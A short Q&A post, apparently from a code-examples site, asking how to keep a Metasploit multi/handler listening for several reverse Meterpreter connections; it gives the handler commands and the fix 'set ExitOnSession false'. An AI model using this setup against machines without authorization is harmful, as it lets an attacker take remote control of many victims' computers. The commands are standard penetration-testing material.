Search code examples
metasploit

execute run -jz once for multiple connections


I am using following code to waiting client connect.

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.1
set lport 4444
run -jz

The question is: port listening was stopped after one connection was established. It cause subsequent connection failed. I have to type run -jz manually again and again after connection established.

Is there any way to continue listening to the port with just typing command once?

ps: Manjaro Llinux with Metasploit5-dev


Solution

  • Found the solution: execute "set ExitOnSession false" before "run -jz". that's what I need.